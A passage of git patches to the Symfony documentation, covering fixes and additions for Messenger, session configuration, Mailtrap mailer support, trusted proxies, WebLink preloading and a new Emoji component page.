-        use Symfony\Component\Serializer\Annotation\SerializedPath;
+        use Symfony\Component\Serializer\Attribute\SerializedPath;
 
         class Person
         {

From d3e3ab7c04f6b95bf693a5a6026ed972c530e0b9 Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Fri, 6 Sep 2024 13:24:28 -0300
Subject: [PATCH 6361/7107] [Messenger] Add missing backticks for inline
 snippets

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index b2ede04da43..35e82591357 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1679,7 +1679,7 @@ redis_sentinel           support is disabled
 
 .. versionadded:: 7.1
 
-    The option `redis_sentinel` as an alias for `sentinel_master` was introduced
+    The option ``redis_sentinel`` as an alias for ``sentinel_master`` was introduced
     in Symfony 7.1.
 
 .. caution::

From a79a579728dce352dbbacf9152b1f9c3a7c2875a Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Sat, 7 Sep 2024 04:06:25 -0300
Subject: [PATCH 6362/7107] [AssetMapper] Add missing backticks for inline
 snippets

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 9c9878a54cd..b4d2e5738b8 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -967,7 +967,7 @@ This option is enabled by default.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Configure the polyfill for older browsers. By default, the `ES module shim`_ is loaded
-via a CDN (i.e. the default value for this setting is `es-module-shims`):
+via a CDN (i.e. the default value for this setting is ``es-module-shims``):
 
 .. code-block:: yaml
 

From 31a33bf2d9e5929f834d25cfad93ac21852bf9ad Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rapha=C3=ABl=20Geffroy?=
 <81738559+raphael-geffroy@users.noreply.github.com>
Date: Fri, 6 Sep 2024 17:53:21 +0200
Subject: [PATCH 6363/7107] [FrameworkBundle] Remove default value for
 `gc_probability` config option

---
 reference/configuration/framework.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 1e9e43faa0f..c3f341f578b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1845,13 +1845,19 @@ If not set, ``php.ini``'s `session.gc_divisor`_ directive will be relied on.
 gc_probability
 ..............
 
-**type**: ``integer`` **default**: ``1``
+**type**: ``integer``
 
 This defines the probability that the garbage collector (GC) process is
 started on every session initialization. The probability is calculated by
 using ``gc_probability`` / ``gc_divisor``, e.g. 1/100 means there is a 1%
 chance that the GC process will start on each request.
 
+If not set, ``php.ini``'s `session.gc_probability`_ directive will be relied on.
+
+.. versionadded:: 7.2
+
+    Relying on ``php.ini``'s directive as default for ``gc_probability`` was introduced in symfony 7.2.
+
 gc_maxlifetime
 ..............
 
@@ -3893,6 +3899,7 @@ The attributes can also be added to interfaces directly::
 .. _`session.cookie_samesite`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-samesite
 .. _`session.cookie_secure`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-secure
 .. _`session.gc_divisor`: https://www.php.net/manual/en/session.configuration.php#ini.session.gc-divisor
+.. _`session.gc_probability`: https://www.php.net/manual/en/session.configuration.php#ini.session.gc-probability
 .. _`session.gc_maxlifetime`: https://www.php.net/manual/en/session.configuration.php#ini.session.gc-maxlifetime
 .. _`session.sid_length`: https://www.php.net/manual/en/session.configuration.php#ini.session.sid-length
 .. _`session.sid_bits_per_character`: https://www.php.net/manual/en/session.configuration.php#ini.session.sid-bits-per-character

From 5c72f37bca564690a8af6f9797f3eed7e91d0cd8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Sep 2024 08:42:30 +0200
Subject: [PATCH 6364/7107] Minor tweak

---
 reference/configuration/framework.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index c3f341f578b..bdcbc4a55af 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1852,11 +1852,13 @@ started on every session initialization. The probability is calculated by
 using ``gc_probability`` / ``gc_divisor``, e.g. 1/100 means there is a 1%
 chance that the GC process will start on each request.
 
-If not set, ``php.ini``'s `session.gc_probability`_ directive will be relied on.
+If not set, Symfony will use the value of the `session.gc_probability`_ directive
+in the ``php.ini`` configuration file.
 
 .. versionadded:: 7.2
 
-    Relying on ``php.ini``'s directive as default for ``gc_probability`` was introduced in symfony 7.2.
+    Relying on ``php.ini``'s directive as default for ``gc_probability`` was
+    introduced in Symfony 7.2.
 
 gc_maxlifetime
 ..............

From 42c789bc7dc81db223ace2a22487cf270e4d2197 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sun, 10 Dec 2023 17:18:54 +0100
Subject: [PATCH 6365/7107] merge configuration blocks for AsMessageHandler
 attribute

---
 messenger.rst | 55 +++++++++++++++++++--------------------------------
 1 file changed, 20 insertions(+), 35 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 3874977c52d..57163f3b60f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2222,40 +2222,6 @@ wherever you need a query bus behavior instead of the ``MessageBusInterface``::
 Customizing Handlers
 --------------------
 
-Configuring Handlers Using Attributes
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can configure your handler by passing options to the attribute::
-
-    // src/MessageHandler/SmsNotificationHandler.php
-    namespace App\MessageHandler;
-
-    use App\Message\OtherSmsNotification;
-    use App\Message\SmsNotification;
-    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
-
-    #[AsMessageHandler(fromTransport: 'async', priority: 10)]
-    class SmsNotificationHandler
-    {
-        public function __invoke(SmsNotification $message): void
-        {
-            // ...
-        }
-    }
-
-Possible options to configure with the attribute are:
-
-==============================  ====================================================================================================
-Option                          Description
-==============================  ====================================================================================================
-``bus``                         Name of the bus from which the handler can receive messages, by default all buses.
-``fromTransport``               Name of the transport from which the handler can receive messages, by default all transports.
-``handles``                     Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by
-                                type-hint.
-``method``                      Name of the method that will process the message, only if the target is a class.
-``priority``                    Priority of the handler when multiple handlers can process the same message.
-==============================  ====================================================================================================
-
 .. _messenger-handler-config:
 
 Manually Configuring Handlers
@@ -2263,10 +2229,29 @@ Manually Configuring Handlers
 
 Symfony will normally :ref:`find and register your handler automatically <messenger-handler>`.
 But, you can also configure a handler manually - and pass it some extra config -
-by tagging the handler service with ``messenger.message_handler``
+while using ``#AsMessageHandler`` attribute or tagging the handler service
+with ``messenger.message_handler``.
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/MessageHandler/SmsNotificationHandler.php
+        namespace App\MessageHandler;
+
+        use App\Message\OtherSmsNotification;
+        use App\Message\SmsNotification;
+        use Symfony\Component\Messenger\Attribute\AsMessageHandler;
+
+        #[AsMessageHandler(fromTransport: 'async', priority: 10)]
+        class SmsNotificationHandler
+        {
+            public function __invoke(SmsNotification $message): void
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml

From 6ecffc36cd27825dc021e17c8b35db04358b56eb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9o=20FIDRY?= <theo.fidry@gmail.com>
Date: Sun, 26 Feb 2023 12:38:11 +0100
Subject: [PATCH 6366/7107] [Runtime] Document registering your own runtime
 template

---
 components/runtime.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/components/runtime.rst b/components/runtime.rst
index c1588bac187..5c07fdad546 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -101,6 +101,26 @@ Use the ``APP_RUNTIME`` environment variable or by specifying the
         }
     }
 
+If modifying the runtime class is not enough, you can always create your own runtime
+template:
+
+.. code-block:: json
+
+    {
+        "require": {
+            "...": "..."
+        },
+        "extra": {
+            "runtime": {
+                "autoload_template": "resources/runtime/autoload_runtime.template"
+            }
+        }
+    }
+
+If you want a reference, the The Symfony's runtime can be found at
+<a href="https://github.com/symfony/symfony/blob/5.4/src/Symfony/Component/Runtime/Internal/autoload_runtime.template" class="reference external" title="Symfony autoload_runtime.template" rel="external noopener noreferrer" target="_blank">src/Symfony/Component/Runtime/Internal/autoload_runtime.template()</a>.
+
+
 Using the Runtime
 -----------------
 

From 1f3704aa9437ad7f19017b0734fb4c241bc4f0c7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Sep 2024 09:33:08 +0200
Subject: [PATCH 6367/7107] Minor tweaks

---
 components/runtime.rst | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 375b53506c0..eba9e39661d 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -101,8 +101,7 @@ Use the ``APP_RUNTIME`` environment variable or by specifying the
         }
     }
 
-If modifying the runtime class is not enough, you can always create your own runtime
-template:
+If modifying the runtime class isn't enough, you can create your own runtime template:
 
 .. code-block:: json
 
@@ -117,9 +116,7 @@ template:
         }
     }
 
-If you want a reference, the The Symfony's runtime can be found at
-<a href="https://github.com/symfony/symfony/blob/5.4/src/Symfony/Component/Runtime/Internal/autoload_runtime.template" class="reference external" title="Symfony autoload_runtime.template" rel="external noopener noreferrer" target="_blank">src/Symfony/Component/Runtime/Internal/autoload_runtime.template()</a>.
-
+Symfony provides a `runtime template file`_ that you can use to create your own.
 
 Using the Runtime
 -----------------
@@ -507,3 +504,4 @@ The end user will now be able to create front controller like::
 .. _Swoole: https://openswoole.com/
 .. _ReactPHP: https://reactphp.org/
 .. _`PSR-15`: https://www.php-fig.org/psr/psr-15/
+.. _`runtime template file`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Runtime/Internal/autoload_runtime.template

From e425caf94ceb2d7336a5aff5e7832529d6ce8ebd Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Thu, 12 Sep 2024 22:39:59 -0400
Subject: [PATCH 6368/7107] [Mailer] add Mailtrap docs

---
 mailer.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 21032732c4b..a8d0eda3072 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -109,6 +109,7 @@ Service               Install with                                    Webhook su
 `Mailomat`_           ``composer require symfony/mailomat-mailer``    yes
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
+`Mailtrap`_           ``composer require symfony/mailtrap-mailer``
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
 `Postal`_             ``composer require symfony/postal-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``    yes
@@ -124,7 +125,7 @@ Service               Install with                                    Webhook su
 
 .. versionadded:: 7.2
 
-    The Mailomat, Postal and Sweego integrations were introduced in Symfony 7.2.
+    The Mailomat, Mailtrap, Postal and Sweego integrations were introduced in Symfony 7.2.
 
 .. note::
 
@@ -216,6 +217,10 @@ party provider:
 |                        | - HTTP n/a                                              |
 |                        | - API ``mailpace+api://API_TOKEN@default``              |
 +------------------------+---------------------------------------------------------+
+| `Mailtrap`_            | - SMTP ``mailtrap+smtp://PASSWORD@default``             |
+|                        | - HTTP n/a                                              |
+|                        | - API ``mailtrap+api://API_TOKEN@default``              |
++------------------------+---------------------------------------------------------+
 | `Postal`_              | - SMTP n/a                                              |
 |                        | - HTTP n/a                                              |
 |                        | - API ``postal+api://API_KEY@BASE_URL``                 |
@@ -1581,6 +1586,7 @@ The following transports currently support tags and metadata:
 
 * Brevo
 * Mailgun
+* Mailtrap
 * Mandrill
 * Postmark
 * Sendgrid
@@ -2000,6 +2006,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`Postal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postal/README.md
 .. _`Postmark`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postmark/README.md
+.. _`Mailtrap`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailtrap/README.md
 .. _`Resend`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Resend/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME

From 5bc5d4706510f351a95090dd6ac14250143d708c Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Sun, 15 Sep 2024 08:13:32 -0400
Subject: [PATCH 6369/7107] use /templates instead of /Resources/views

The modern (and default) directory structure.
---
 templates.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/templates.rst b/templates.rst
index 4567a018823..2ef5a04dc10 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1294,7 +1294,7 @@ and leaves the repeated contents and HTML structure to some parent templates.
 
     .. code-block:: html+twig
 
-        {# app/Resources/views/blog/index.html.twig #}
+        {# app/templates/blog/index.html.twig #}
         {% extends 'base.html.twig' %}
 
         {# the line below is not captured by a "block" tag #}
@@ -1481,7 +1481,7 @@ templates under an automatic namespace created after the bundle name.
 
 For example, the templates of a bundle called ``AcmeBlogBundle`` are available
 under the ``AcmeBlog`` namespace. If this bundle includes the template
-``<your-project>/vendor/acme/blog-bundle/Resources/views/user/profile.html.twig``,
+``<your-project>/vendor/acme/blog-bundle/templates/user/profile.html.twig``,
 you can refer to it as ``@AcmeBlog/user/profile.html.twig``.
 
 .. tip::

From 8dc86e520d70da315ad07922b16eec34b445ef4f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Sep 2024 09:34:39 +0200
Subject: [PATCH 6370/7107] Minor tweak

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 2ef5a04dc10..edbf782032c 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1294,7 +1294,7 @@ and leaves the repeated contents and HTML structure to some parent templates.
 
     .. code-block:: html+twig
 
-        {# app/templates/blog/index.html.twig #}
+        {# templates/blog/index.html.twig #}
         {% extends 'base.html.twig' %}
 
         {# the line below is not captured by a "block" tag #}

From 24b9c0c3056aaa72e8f7fad1459dbfb69e75909b Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Mon, 16 Sep 2024 10:36:42 +0200
Subject: [PATCH 6371/7107] [Options Resolver] Fix file reference method

---
 components/options_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index e1d82c4df7e..c01f727139a 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -822,7 +822,7 @@ method::
 
     When using an option deprecated by you in your own library, you can pass
     ``false`` as the second argument of the
-    :method:`Symfony\\Component\\OptionsResolver\\Options::offsetGet` method
+    :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::offsetGet` method
     to not trigger the deprecation warning.
 
 .. note::

From 4dc4e9d75724eb3874149e7a5455f81dce17cdef Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 17 Sep 2024 10:53:05 +0200
Subject: [PATCH 6372/7107] Minor tweak

---
 reference/configuration/framework.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 80c1944eea1..19f72bb6cb3 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1884,7 +1884,8 @@ If not set, ``php.ini``'s `session.sid_length`_ directive will be relied on.
 
 .. deprecated:: 7.2
 
-    The ``sid_length`` option was deprecated in Symfony 7.2.
+    The ``sid_length`` option was deprecated in Symfony 7.2. No alternative is
+    provided as PHP 8.4 has deprecated the related option.
 
 sid_bits_per_character
 ......................
@@ -1900,7 +1901,8 @@ If not set, ``php.ini``'s `session.sid_bits_per_character`_ directive will be re
 
 .. deprecated:: 7.2
 
-    The ``sid_bits_per_character`` option was deprecated in Symfony 7.2.
+    The ``sid_bits_per_character`` option was deprecated in Symfony 7.2. No alternative
+    is provided as PHP 8.4 has deprecated the related option.
 
 save_path
 .........

From 36a7c6dd137a8e819360be1b7e107732b0cdd04b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 17 Sep 2024 14:31:19 +0200
Subject: [PATCH 6373/7107] [Uid] Add the `Uuid::FORMAT_RFC_9562` constant

---
 components/uid.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/uid.rst b/components/uid.rst
index feb58968347..73974ef8732 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -329,6 +329,7 @@ The following constants are available:
 * ``Uuid::FORMAT_BASE_32``
 * ``Uuid::FORMAT_BASE_58``
 * ``Uuid::FORMAT_RFC_4122``
+* ``Uuid::FORMAT_RFC_9562`` (equivalent to ``Uuid::FORMAT_RFC_4122``)
 
 You can also use the ``Uuid::FORMAT_ALL`` constant to accept any UUID format.
 By default, only the RFC 4122 format is accepted.

From b3fcbd0951e3fe689d3dce40b5fd10d7975a6ab5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=BCrgen?= <juukie@users.noreply.github.com>
Date: Tue, 17 Sep 2024 23:44:33 +0200
Subject: [PATCH 6374/7107] Typo correction testing.rst

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index d7f500bfa54..1e07fa4fc69 100644
--- a/testing.rst
+++ b/testing.rst
@@ -318,7 +318,7 @@ concrete one::
         }
     }
 
-No further configuration in required, as the test service container is a special one
+No further configuration is required, as the test service container is a special one
 that allows you to interact with private services and aliases.
 
 .. versionadded:: 6.3

From 7a8d0c44f97540e3ef80df087828174f5c8ebec9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Sep 2024 09:12:56 +0200
Subject: [PATCH 6375/7107] [Translation] Mention the support of segment
 attributes in XLIFF

---
 reference/formats/xliff.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/reference/formats/xliff.rst b/reference/formats/xliff.rst
index acb9af36014..b5dc99b4186 100644
--- a/reference/formats/xliff.rst
+++ b/reference/formats/xliff.rst
@@ -29,7 +29,7 @@ loaded/dumped inside a Symfony application:
                     <note category="approved">true</note>
                     <note category="section" priority="1">user login</note>
                 </notes>
-                <segment>
+                <segment state="translated" subState="Some custom value">
                     <source>original-content</source>
                     <target>translated-content</target>
                 </segment>
@@ -37,4 +37,8 @@ loaded/dumped inside a Symfony application:
         </file>
     </xliff>
 
+.. versionadded:: 7.2
+
+    The support of attributes in the ``<segment>`` element was introduced in Symfony 7.2.
+
 .. _XLIFF: https://docs.oasis-open.org/xliff/xliff-core/v2.1/xliff-core-v2.1.html

From d971cea1c706ff93df2c16bedfd7c0223a5514a8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Sep 2024 13:30:17 +0200
Subject: [PATCH 6376/7107] =?UTF-8?q?[HttpFoundation]=C2=A0Document=20the?=
 =?UTF-8?q?=20PRIVATE=5FSUBNETS=20string?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 deployment/proxies.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 40c2550ee2c..fc6f855451d 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -143,9 +143,17 @@ In this case, you'll need to - *very carefully* - trust *all* proxies.
        framework:
            # ...
            # trust *all* requests (the 'REMOTE_ADDR' string is replaced at
-           # run time by $_SERVER['REMOTE_ADDR'])
+           # runtime by $_SERVER['REMOTE_ADDR'])
            trusted_proxies: '127.0.0.1,REMOTE_ADDR'
 
+           # you can also use the 'PRIVATE_SUBNETS' string, which is replaced at
+           # runtime by the IpUtils::PRIVATE_SUBNETS constant
+           # trusted_proxies: '127.0.0.1,PRIVATE_SUBNETS'
+
+.. versionadded:: 7.2
+
+    The support for the ``'PRIVATE_SUBNETS'`` string was introduced in Symfony 7.2.
+
 That's it! It's critical that you prevent traffic from all non-trusted sources.
 If you allow outside traffic, they could "spoof" their true IP address and
 other information.

From 35c94bcad73e1108fe8e0a103a1fdd9bd88bd63b Mon Sep 17 00:00:00 2001
From: Massimiliano Arione <garakkio@gmail.com>
Date: Sun, 8 Sep 2024 17:26:35 +0200
Subject: [PATCH 6377/7107] improve web_link

---
 web_link.rst | 15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

diff --git a/web_link.rst b/web_link.rst
index 82466e56b42..945cec45a6d 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -59,7 +59,8 @@ correct prioritization and the content security policy:
 
     <head>
         <!-- ... -->
-        <link rel="preload" href="{{ preload('/app.css', { as: 'style' }) }}">
+        <link rel="preload" href="{{ preload('/app.css', {as: 'style'}) }}" as="style">
+        <link rel="stylesheet" href="/app.css">
     </head>
 
 If you reload the page, the perceived performance will improve because the
@@ -74,7 +75,8 @@ requested the HTML page.
 
         <head>
             <!-- ... -->
-            <link rel="preload" href="{{ preload(asset('build/app.css')) }}">
+            <link rel="preload" href="{{ preload(asset('build/app.css')) }}" as="style">
+            <!-- ... -->
         </head>
 
 Additionally, according to `the Priority Hints specification`_, you can signal
@@ -84,7 +86,8 @@ the priority of the resource to download using the ``importance`` attribute:
 
     <head>
         <!-- ... -->
-        <link rel="preload" href="{{ preload('/app.css', { as: 'style', importance: 'low' }) }}">
+        <link rel="preload" href="{{ preload('/app.css', {as: 'style', importance: 'low'}) }}" as="style">
+        <!-- ... -->
     </head>
 
 How does it work?
@@ -108,7 +111,8 @@ issuing an early separate HTTP request, use the ``nopush`` option:
 
     <head>
         <!-- ... -->
-        <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
+        <link rel="preload" href="{{ preload('/app.css', {as: 'style', nopush: true}) }}" as="style">
+        <!-- ... -->
     </head>
 
 Resource Hints
@@ -142,7 +146,8 @@ any link implementing the `PSR-13`_ standard. For instance, any
     <head>
         <!-- ... -->
         <link rel="alternate" href="{{ link('/index.jsonld', 'alternate') }}">
-        <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
+        <link rel="preload" href="{{ preload('/app.css', {as: 'style', nopush: true}) }}" as="style">
+        <!-- ... -->
     </head>
 
 The previous snippet will result in this HTTP header being sent to the client:

From 912d988beee8d246be5f464a5efae5356fad6a99 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Sep 2024 16:46:01 +0200
Subject: [PATCH 6378/7107] Tweaks

---
 web_link.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/web_link.rst b/web_link.rst
index 945cec45a6d..7a09e6273d6 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -59,6 +59,8 @@ correct prioritization and the content security policy:
 
     <head>
         <!-- ... -->
+        {# note that you must add two <link> tags per asset:
+           one to link to it and the other one to tell the browser to preload it #}
         <link rel="preload" href="{{ preload('/app.css', {as: 'style'}) }}" as="style">
         <link rel="stylesheet" href="/app.css">
     </head>
@@ -67,6 +69,13 @@ If you reload the page, the perceived performance will improve because the
 server responded with both the HTML page and the CSS file when the browser only
 requested the HTML page.
 
+.. tip::
+
+    When using the :doc:`AssetMapper component </frontend/asset_mapper>` to link
+    to assets (e.g. ``importmap('app')``), there's no need to add the ``<link rel="preload">``
+    tag. The ``importmap()`` Twig function automatically adds the ``Link`` HTTP
+    header for you when the WebLink component is available.
+
 .. note::
 
     You can preload an asset by wrapping it with the ``preload()`` function:

From 2e118366f2008a899da6adb7178a4db280d2548f Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 11 Sep 2024 08:42:14 +0200
Subject: [PATCH 6379/7107] [Emoji][String] Extract Emoji from String
 documentation

---
 components/intl.rst |   2 +-
 emoji.rst           | 143 ++++++++++++++++++++++++++++++++++++
 string.rst          | 174 +-------------------------------------------
 3 files changed, 145 insertions(+), 174 deletions(-)
 create mode 100644 emoji.rst

diff --git a/components/intl.rst b/components/intl.rst
index 008d9161fd7..ba3cbdcb959 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -386,7 +386,7 @@ Emoji Transliteration
 ~~~~~~~~~~~~~~~~~~~~~
 
 Symfony provides utilities to translate emojis into their textual representation
-in all languages. Read the documentation on :ref:`working with emojis in strings <string-emoji-transliteration>`
+in all languages. Read the documentation about :ref:`emoji transliteration <emoji-transliteration>`
 to learn more about this feature.
 
 Disk Space
diff --git a/emoji.rst b/emoji.rst
new file mode 100644
index 00000000000..ba6ca38ed73
--- /dev/null
+++ b/emoji.rst
@@ -0,0 +1,143 @@
+Working with Emojis
+===================
+
+.. versionadded:: 7.1
+
+    The emoji component was introduced in Symfony 7.1.
+
+Symfony provides several utilities to work with emoji characters and sequences
+from the `Unicode CLDR dataset`_. They are available via the Emoji component,
+which you must first install in your application:
+
+.. _installation:
+
+.. code-block:: terminal
+
+    $ composer require symfony/emoji
+
+.. include:: /components/require_autoload.rst.inc
+
+The data needed to store the transliteration of all emojis (~5,000) into all
+languages take a considerable disk space.
+
+If you need to save disk space (e.g. because you deploy to some service with tight
+size constraints), run this command (e.g. as an automated script after ``composer install``)
+to compress the internal Symfony emoji data files using the PHP ``zlib`` extension:
+
+.. code-block:: terminal
+
+    # adjust the path to the 'compress' binary based on your application installation
+    $ php ./vendor/symfony/emoji/Resources/bin/compress
+
+.. _emoji-transliteration:
+
+Emoji Transliteration
+~~~~~~~~~~~~~~~~~~~~~
+
+The ``EmojiTransliterator`` class offers a way to translate emojis into their
+textual representation in all languages based on the `Unicode CLDR dataset`_::
+
+    use Symfony\Component\Emoji\EmojiTransliterator;
+
+    // Describe emojis in English
+    $transliterator = EmojiTransliterator::create('en');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with pizza or spaghetti'
+
+    // Describe emojis in Ukrainian
+    $transliterator = EmojiTransliterator::create('uk');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with піца or спагеті'
+
+You can also combine the ``EmojiTransliterator`` with the :ref:`slugger <string-slugger-emoji>`
+to transform any emojis into their textual representation.
+
+Transliterating Emoji Text Short Codes
+......................................
+
+Services like GitHub and Slack allows to include emojis in your messages using
+text short codes (e.g. you can add the ``:+1:`` code to render the 👍 emoji).
+
+Symfony also provides a feature to transliterate emojis into short codes and vice
+versa. The short codes are slightly different on each service, so you must pass
+the name of the service as an argument when creating the transliterator.
+
+Convert emojis to GitHub short codes with the ``emoji-github`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-github');
+    $transliterator->transliterate('Teenage 🐢 really love 🍕');
+    // => 'Teenage :turtle: really love :pizza:'
+
+Convert GitHub short codes to emojis with the ``github-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('github-emoji');
+    $transliterator->transliterate('Teenage :turtle: really love :pizza:');
+    // => 'Teenage 🐢 really love 🍕'
+
+.. note::
+
+    Github, Gitlab and Slack are currently available services in
+    ``EmojiTransliterator``.
+
+.. _text-emoji:
+
+Universal Emoji Short Codes Transliteration
+###########################################
+
+If you don't know which service was used to generate the short codes, you can use
+the ``text-emoji`` locale, which combines all codes from all services::
+
+    $transliterator = EmojiTransliterator::create('text-emoji');
+
+    // Github short codes
+    $transliterator->transliterate('Breakfast with :kiwi-fruit: or :milk-glass:');
+    // Gitlab short codes
+    $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
+    // Slack short codes
+    $transliterator->transliterate('Breakfast with :kiwifruit: or :glass-of-milk:');
+
+    // all the above examples produce the same result:
+    // => 'Breakfast with 🥝 or 🥛'
+
+You can convert emojis to short codes with the ``emoji-text`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-text');
+    $transliterator->transliterate('Breakfast with 🥝 or 🥛');
+    // => 'Breakfast with :kiwifruit: or :milk-glass:
+
+Inverse Emoji Transliteration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Given the textual representation of an emoji, you can reverse it back to get the
+actual emoji thanks to the :ref:`emojify filter <reference-twig-filter-emojify>`:
+
+.. code-block:: twig
+
+    {{ 'I like :kiwi-fruit:'|emojify }} {# renders: I like 🥝 #}
+    {{ 'I like :kiwi:'|emojify }}       {# renders: I like 🥝 #}
+    {{ 'I like :kiwifruit:'|emojify }}  {# renders: I like 🥝 #}
+
+By default, ``emojify`` uses the :ref:`text catalog <text-emoji>`, which
+merges the emoji text codes of all services. If you prefer, you can select a
+specific catalog to use:
+
+.. code-block:: twig
+
+    {{ 'I :green-heart: this'|emojify }}                  {# renders: I 💚 this #}
+    {{ ':green_salad: is nice'|emojify('slack') }}        {# renders: 🥗 is nice #}
